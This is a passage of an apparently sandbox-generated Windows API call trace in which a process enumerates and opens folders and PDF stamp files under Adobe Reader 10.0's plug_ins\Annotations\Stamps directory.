ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0082.985] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0082.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0082.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214f60 [0082.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a33c0 [0082.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.987] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0 [0082.987] GetLastError () returned 0x12 [0082.987] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0082.988] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.988] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.988] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0082.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0082.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.990] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0082.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.990] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0082.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.990] NtClose (Handle=0x174) returned 0x0 [0082.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0082.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0082.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0082.991] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0082.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0082.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0082.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214f80 [0082.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a37e0 [0082.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.996] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0082.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214fa0 [0082.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a38e8 [0082.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.998] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0082.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214fc0 [0082.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a39f0 [0082.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7380) returned 0x12c23f8 [0083.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.000] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214fe0 [0083.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a3af8 [0083.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.002] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215000 [0083.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a3c00 [0083.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.003] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 